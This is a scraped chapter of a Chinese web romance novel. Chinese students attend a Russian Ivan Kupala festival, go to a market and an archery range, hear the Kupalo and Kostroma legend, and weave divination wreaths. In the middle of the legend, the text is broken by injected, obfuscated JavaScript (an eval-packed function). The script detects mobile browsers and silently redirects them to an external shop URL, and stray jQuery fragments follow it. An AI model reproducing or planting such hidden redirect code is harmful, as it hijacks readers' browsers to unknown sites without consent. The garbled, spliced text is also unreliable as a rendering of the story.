文趣网 > 其他小说 > crush是俄罗斯小熊警官 > 27. Иван Купала
    6月22日的晨风吹动阳台的风铃,柳漪摘下眼罩,拉开窗帘,明亮的天光下,平原旷野一览无余。昨晚的小雨过后,湿润的泥土在阳光下散发着清新的香气,属于梅谢尔斯克沼泽低地的独特气息。

    小白猫从篱笆上“咪咪喵喵”地一跃而下,追逐蝴蝶而去。时间还早,柳漪在阳台上伸了个懒腰,正巧看见叶莲娜阿姨起了个大早,围着小屋洒水,她元气满满朝阿姨打了个招呼,“早安,您在干什么?浇花吗?”

    “他们没告诉你吗,孩子?今天是伊万·库帕拉节,也就是仲夏节。”叶莲娜边洒水边解释,“这是我早上收集的露水,我们仲夏节的习俗,在房子周围洒水可以净化、疗愈。”

    “我早听他们说仲夏节村里要办集市,都忘了是今天。”

    叶莲娜端着小玻璃壶走进房子里,在各处喷洒一些,柳漪对这新奇的习俗充满新鲜感,也想上手试一试,接过水壶在厨房撒了两下,叶莲娜不要她忙碌,指指沙发上纯白的亚麻刺绣长裙,那是斯拉夫女性的传统服饰,由叫做维希万卡的刺绣内衫和叫萨拉凡的无袖长裙组成。

    “给你们准备好了衣服,难得村子里来了外国姑娘,村民听说都要我一定带你们参加!”叶莲娜示意柳漪把衣裙拿上楼换好,“今天过节就不用去教堂啦!”

    柳漪依言把衣裳分给刚起床的斯妤和雨菲,三人穿好下楼,柳漪把长发编成了长辫子,下楼一转身,红裙摆如莲花的开合旋开,把叶莲娜逗得乐不可支,“好了,我们这儿多了三个俄罗斯姑娘!”

    吃过早饭,四人关好篱笆门,踏上了去村东的路程。村东有一处坡地,可以俯瞰周围整个林间河谷,苏多达河的支流从这里缓缓流过,在河谷里积蓄成一片宽阔的湖泊,宛如沼泽低地里的一颗明珠。

    大家都换上了节日的传统装扮,坡地上半月以前就开始搭建集市,各式各样的小摊里是琳琅满目的商品。叶莲娜阿姨让她们随便逛逛,一会儿活动开始了再来叫她们,自己先去帮忙准备。三人穿梭在小摊里,有村里的手工艺人自己做的陶瓷制品,工艺虽然说不上多么精致,但不少灵感独特,柳漪看中、买下了一只粉色的兔头瓷戒指。还有手工制作的铁器,大到铁艺吊灯,小到铁戒指,五花八门。还有手工刺绣制品,羊毛毡娃娃,在小村庄里逛起这样的集市,像是童话里的桥段,倒也颇有田园意趣。

    “哎,你们快来!”

    方雨菲站在一座高大的铜壶茶炊面前对她们一招手,老板娘眼尖,早就打开铜壶的水龙头,往纸杯里倒了三杯热气腾腾的柠檬红茶递到她们手里,顺便大方地推销隔壁摊位老婆婆自家种的黄瓜和西红柿。

    三姐妹尝了尝红茶,俄罗斯人酷爱喝茶,这也算是俄罗斯文化中深受中国文化影响的一点。不过他们有自己的特殊口味,极其喜爱放糖,尤其是这杯柠檬红茶,加了不少白砂糖。幸好中国人现在喝惯了奶茶,所以这杯红茶的甜度也完全可以接受。除了柠檬红茶外,摊子上还售卖几种本地出产的花草茶,浓香扑鼻,据说还有药用功能,也是俄罗斯人的心头爱。

    坐下喝茶、吃瓜果的档口,柳漪给伊利亚发去一条消息:我在伊万·库帕拉节的集市上,你会来吗?

    不到一分钟,回复她的是一张射箭场的照片,看周围风景似乎也在集市上。人来人往的涌动间,柳漪不经意的一个抬头,就看见伊利亚远远往集市里寻了过来,她连忙招手呼唤:“这里!这里!伊利亚!”

    “你们都来了。”

    伊利亚走上前,看见柳漪的民族服饰打扮不由得眼前一亮,而他身上还是短袖的夏季警服,柳漪偷笑打趣,“怎么?今天维特罗夫警官来这儿也是公事公办?”

    “我是来负责集市的治安的。”伊利亚噙着一抹笑,“四处闲逛某种程度上也可以称作巡逻吧。前面有射箭场,我陪你去玩玩?”

    “维特罗夫警官,那陪玩也叫公事公办吗?”他俩一碰上就黏在一起分不开,程斯妤看得牙疼,非要从他们身上找找乐子,“我们中国人把这叫做‘假公济私’啊!”

    “或许称之为接待外国友人,更贴切一些?”伊利亚换了种说法,绅士地一伸手相请,在前给她们引路。

    出了茶炉小摊,迎面又遇上小神父尼古拉带着教堂里其他负责修缮的留学生来参加节日庆典,一行人一拍即合,浩浩荡荡就往射箭场去。

    射箭场依傍着小山坡,坡下摆了一排草扎的红心箭靶。柳漪走去一处射箭位置,拾起小弓拿在手里掂量掂量。毕竟不是选拔斯拉夫勇士的活动,为了照顾客人,老板特地选用的是容易拉开的轻型弓。

    伊利亚看出他的中国姑娘不是很熟悉弓箭,走去她身后,从箭筒里抽出一支箭,俯身在她身后,一手握住她拿着弓的手,拿稳弓,一手把箭递到她手里,握着她的手搭上箭,在她耳边低声道:“来,用力拉开,我教你。”

    柳漪斜眼偷偷瞟过去,正对上他认真对准箭靶的侧颜,不知不觉就沉迷进去,心里却还言不由衷腹诽,这个狡猾的男人,没吃过猪肉她还没见过猪跑吗?难道连拉弓射箭都要他来教不成?

    这样美滋滋想着,心里的那点胜负欲也被激发出来,柳漪张弓搭箭,一歪嘴,扬起志得意满的笑,抛下一句,“看着,让我自己来!”

    伊利亚也不多干预,笑着退后。柳漪眯眼瞄准靶心,一使劲,长箭“嗖”的一声破风射出,正中靶心。周围人连同老板在内都鼓掌叫好,柳漪骄傲一回头,把弓递给伊利亚,“我大学军训的时候打过靶,虽然是第一次,但我五发全在八环、九环哦!”

    伊利亚刚要搭箭,叶莲娜阿姨找了过来,招呼他们:“快来,活动开始了!”

    集市的中央搭建起一方小小的舞台,这天也来了不少附近村镇的人们,甚至有从莫斯科和弗拉基米尔来的游客,人头攒动。众人随着人流的涌动围聚过去,村里推举了一男一女两个漂亮的年轻人演绎伊万·库帕拉节的传说。

    仲夏节是俄罗斯异教文化的象征之一,在东正教从拜占庭帝国传入俄罗斯之前,古罗斯拥有本土的宗教和神话信仰。柳漪在台下聚精会神看着台上的演员们唱歌跳舞,向伊利亚询问起了节日的故事。

    “这是一个爱情故事。”伊利亚低声为她讲解,“太阳神雅里洛有一对双胞胎儿女,男孩叫库帕洛,女孩叫科斯特罗马。他们自小被黑暗魔神用灵鸟拆散,哥哥库帕洛被抓到冥界,兄妹二人分离,互不相识。”

    “多年后,兄妹都长成了漂亮的少男少女。科斯特罗马编织的花环落进水里,被驾船路过的库帕洛拾起,两人一见钟情。在斯拉夫的民俗里,归还花

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17797164|209786||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    环代表缔结婚约,于是他俩在不知真相的情况下成婚。”

    柳漪在听到爱情故事的主人公是一对兄妹的时候心里就“咯噔”一下,听到此处,连忙追问:“后来呢?”

    舞台上正好演到此处,库帕洛和科斯特罗马双双跪倒在地,哭泣不已,已经预示了悲剧的结局,伊利亚继续解说:“神明降下启示,告知这对夫妻真相,在兄妹结合的痛苦和羞愧之下,他们选择赴死来消解自身的罪孽。”

    “在夏至这一天,库帕洛投入篝火,死于烈焰。科斯特罗马则跳入林间湖泊,化为水精灵玛夫卡。”

    “神明怜悯他们的爱情,又将他们化作同株双色的野花,黄色的是库帕洛,紫色的是科斯特罗马,野花命名为伊万-达-玛利亚,就是蝴蝶花,是伊万·库帕拉节日的象征花草,寓意是水火相融、至死不渝的爱情。”

    爱情悲剧、殉情化物,这样的故事似乎出现在世界各地不同的文明当中。在中国就有梁祝化蝶的故事,大抵是从古至今,不能相守的爱情悲剧何其多。

    明明是遥远的传说,柳漪却从他娓娓道来的讲述和戏台上悲伤的歌声中感受到一丝感同身受的遗憾和伤感。

    戏剧终了,台上的演员向大家谢幕致意,台上掌声雷动。叶莲娜阿姨招呼姑娘们围聚到她身边来,把柳漪她们仨托付给饰演科斯特罗马的女孩,人群中,已经有姑娘开始注意起他们这些外来客,尤其是姑娘们留心着高大英俊的年轻警官。

    “达丽娅,这几个中国姑娘就交给你了,你带她们先去准备花环。”

    村里的姑娘们各自领着三五个外来的游客,穿过集市,一行人往湖泊边的草地上奔去。草地上星星点点点缀的是似锦的野花。达丽娅轻车熟路找了一片野花茂盛的草地,提着裙摆坐上去,顺手摘下一把柔韧的草茎,像编辫子一样,教她们仨编起花环。

    “编这个做什么?”柳漪不明就里,但联想起刚才伊利亚讲述的故事,问道,“是因为库帕洛和科斯特罗马的定情信物是花环吗?”

    “可以这么说,但还不止这些。”达丽娅一边指点她们怎么编好,一边耐心介绍习俗,“仲夏节还有一个习俗就是,姑娘们可以用花环来占卜爱情和婚姻。”

    柳漪三人互相交换了一个眼神,果然不出所料,这哪里是仲夏节,这简直就是个情人节嘛!

    “我们把花环放入水中,花环平稳漂向远处,就代表当年就能够出嫁成婚,花环打转、漂向岸边就预示缘分尚远,沉没则代表短期内没有恋爱。”

    程斯妤失笑,晃晃手里的花草,“那还是算了,我今年还没有结婚的打算。”

    其他三人都被她逗笑,达丽娅眨眨眼,“还有一种说法,如果你的心上人也在,或是想从人群中找到心上人,花环漂去的方向就是心上人出现的方向。”

    “心上人出现的方向是吧……”程斯妤坏笑着捣捣柳漪,“回头你记得扔准点哈,你看上天都暗示,允许你作弊了。”

    方雨菲编得差不多,心想二十一世纪还有这么老土又唯心的说法,找茬一样坏笑着直接就问达丽娅,“那准不准?”

    达丽娅未语先笑,花枝乱颤,用花环挡住脸笑了半天,眨着古灵精怪的绿眼睛,俏皮答:“我从小就会扔这个,扔得又稳又准,到现在都没出嫁!”